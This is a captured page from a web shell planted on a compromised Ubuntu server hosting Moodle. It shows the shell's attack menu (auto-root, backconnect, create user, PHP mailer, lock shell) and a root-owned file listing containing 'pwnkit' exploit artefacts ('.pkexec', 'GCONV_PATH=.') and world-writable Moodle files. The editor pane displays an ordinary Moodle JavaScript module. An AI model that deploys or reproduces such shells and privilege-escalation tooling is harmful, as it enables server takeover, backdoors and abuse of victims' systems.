Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
lp /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
actionselector.js
6.04
KB
-rwxrwxrwx
competencies.js
13.38
KB
-rwxrwxrwx
competency_outcomes.js
2.79
KB
-rwxrwxrwx
competency_plan_navigation.js
2.84
KB
-rwxrwxrwx
competency_rule.js
4.54
KB
-rwxrwxrwx
competency_rule_all.js
1.62
KB
-rwxrwxrwx
competency_rule_points.js
5.76
KB
-rwxrwxrwx
competencyactions.js
31.22
KB
-rwxrwxrwx
competencydialogue.js
5.63
KB
-rwxrwxrwx
competencypicker.js
15.32
KB
-rwxrwxrwx
competencypicker_user_plans.js
7.14
KB
-rwxrwxrwx
competencyruleconfig.js
14.59
KB
-rwxrwxrwx
competencytree.js
9.23
KB
-rwxrwxrwx
course_competency_settings.js
5.15
KB
-rwxrwxrwx
dialogue.js
4.07
KB
-rwxrwxrwx
dragdrop-reorder.js
3.95
KB
-rwxrwxrwx
event_base.js
1.74
KB
-rwxrwxrwx
evidence_delete.js
3.46
KB
-rwxrwxrwx
form-cohort-selector.js
2.68
KB
-rwxrwxrwx
form-user-selector.js
3.09
KB
-rwxrwxrwx
form_competency_element.js
4.6
KB
-rwxrwxrwx
frameworkactions.js
5.88
KB
-rwxrwxrwx
frameworks_datasource.js
3.18
KB
-rwxrwxrwx
grade_dialogue.js
4.3
KB
-rwxrwxrwx
grade_user_competency_inline.j...
5.42
KB
-rwxrwxrwx
menubar.js
29.27
KB
-rwxrwxrwx
module_navigation.js
2.17
KB
-rwxrwxrwx
parentcompetency_form.js
6.02
KB
-rwxrwxrwx
planactions.js
19.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
scaleconfig.js
8.23
KB
-rwxrwxrwx
scalevalues.js
1.93
KB
-rwxrwxrwx
templateactions.js
7.1
KB
-rwxrwxrwx
tree.js
19.97
KB
-rwxrwxrwx
user_competency_course_navigat...
3.27
KB
-rwxrwxrwx
user_competency_info.js
4.34
KB
-rwxrwxrwx
user_competency_plan_popup.js
4.84
KB
-rwxrwxrwx
user_competency_workflow.js
9.16
KB
-rwxrwxrwx
user_evidence_actions.js
13.81
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : competencypicker_user_plans.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Competency picker from user plans. * * To handle 'save' events use: picker.on('save'). * * This will receive a object with either a single 'competencyId', or an array in 'competencyIds' * depending on the value of multiSelect. * * @package tool_lp * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['jquery', 'core/notification', 'core/ajax', 'core/templates', 'core/str', 'tool_lp/tree', 'tool_lp/competencypicker' ], function($, Notification, Ajax, Templates, Str, Tree, PickerBase) { /** * Competency picker in plan class. * * @param {Number} userId * @param {Number|false} singlePlan The ID of the plan when limited to one. * @param {Boolean} multiSelect Support multi-select in the tree. */ var Picker = function(userId, singlePlan, multiSelect) { PickerBase.prototype.constructor.apply(this, [1, false, 'self', multiSelect]); this._userId = userId; this._plans = []; if (singlePlan) { this._planId = singlePlan; this._singlePlan = true; } }; Picker.prototype = Object.create(PickerBase.prototype); /** @type {Array} The list of plans fetched. */ Picker.prototype._plans = null; /** @type {Number} The current plan ID. */ Picker.prototype._planId = null; /** @type {Boolean} Whether we can browse plans or not. */ Picker.prototype._singlePlan = false; /** @type {Number} The user the plans belongs to. */ Picker.prototype._userId = null; /** * Hook to executed after the view is rendered. * * @method _afterRender */ Picker.prototype._afterRender = function() { var self = this; PickerBase.prototype._afterRender.apply(self, arguments); // Add listener for framework change. if (!self._singlePlan) { self._find('[data-action="chooseplan"]').change(function(e) { self._planId = $(e.target).val(); self._loadCompetencies().then(self._refresh.bind(self)) .catch(Notification.exception); }); } }; /** * Fetch the competencies. * * @param {Number} planId The planId. * @param {String} searchText Limit the competencies to those matching the text. * @method _fetchCompetencies * @return {Promise} The promise object. */ Picker.prototype._fetchCompetencies = function(planId, searchText) { var self = this; return Ajax.call([ {methodname: 'core_competency_list_plan_competencies', args: { id: planId }} ])[0].done(function(competencies) { // Expand the list of competencies into a fake tree. var i, comp; var tree = []; for (i = 0; i < competencies.length; i++) { comp = competencies[i].competency; if (comp.shortname.toLowerCase().indexOf(searchText.toLowerCase()) < 0) { continue; } comp.children = []; comp.haschildren = 0; tree.push(comp); } self._competencies = tree; }).fail(Notification.exception); }; /** * Convenience method to get a plan object. * * @param {Number} id The plan ID. * @return {Object|undefined} The plan. * @method _getPlan */ Picker.prototype._getPlan = function(id) { var plan; $.each(this._plans, function(i, f) { if (f.id == id) { plan = f; return; } }); return plan; }; /** * Load the competencies. * * @method _loadCompetencies * @return {Promise} */ Picker.prototype._loadCompetencies = function() { return this._fetchCompetencies(this._planId, this._searchText); }; /** * Load the plans. * * @method _loadPlans * @return {Promise} */ Picker.prototype._loadPlans = function() { var promise, self = this; // Quit early because we already have the data. if (self._plans.length > 0) { return $.when(); } if (self._singlePlan) { promise = Ajax.call([ {methodname: 'core_competency_read_plan', args: { id: this._planId }} ])[0].then(function(plan) { return [plan]; }); } else { promise = Ajax.call([ {methodname: 'core_competency_list_user_plans', args: { userid: self._userId }} ])[0]; } return promise.done(function(plans) { self._plans = plans; }).fail(Notification.exception); }; /** * Hook to executed before render. * * @method _preRender * @return {Promise} */ Picker.prototype._preRender = function() { var self = this; return self._loadPlans().then(function() { if (!self._planId && self._plans.length > 0) { self._planId = self._plans[0].id; } // We could not set a framework ID, that probably means there are no frameworks accessible. if (!self._planId) { self._plans = []; return $.when(); } return self._loadCompetencies(); }); }; /** * Render the dialogue. * * @method _render * @return {Promise} */ Picker.prototype._render = function() { var self = this; return self._preRender().then(function() { if (!self._singlePlan) { $.each(self._plans, function(i, plan) { if (plan.id == self._planId) { plan.selected = true; } else { plan.selected = false; } }); } var context = { competencies: self._competencies, plan: self._getPlan(self._planId), plans: self._plans, search: self._searchText, singlePlan: self._singlePlan, }; return Templates.render('tool_lp/competency_picker_user_plans', context); }); }; return /** @alias module:tool_lp/competencypicker_user_plans */ Picker; });
Close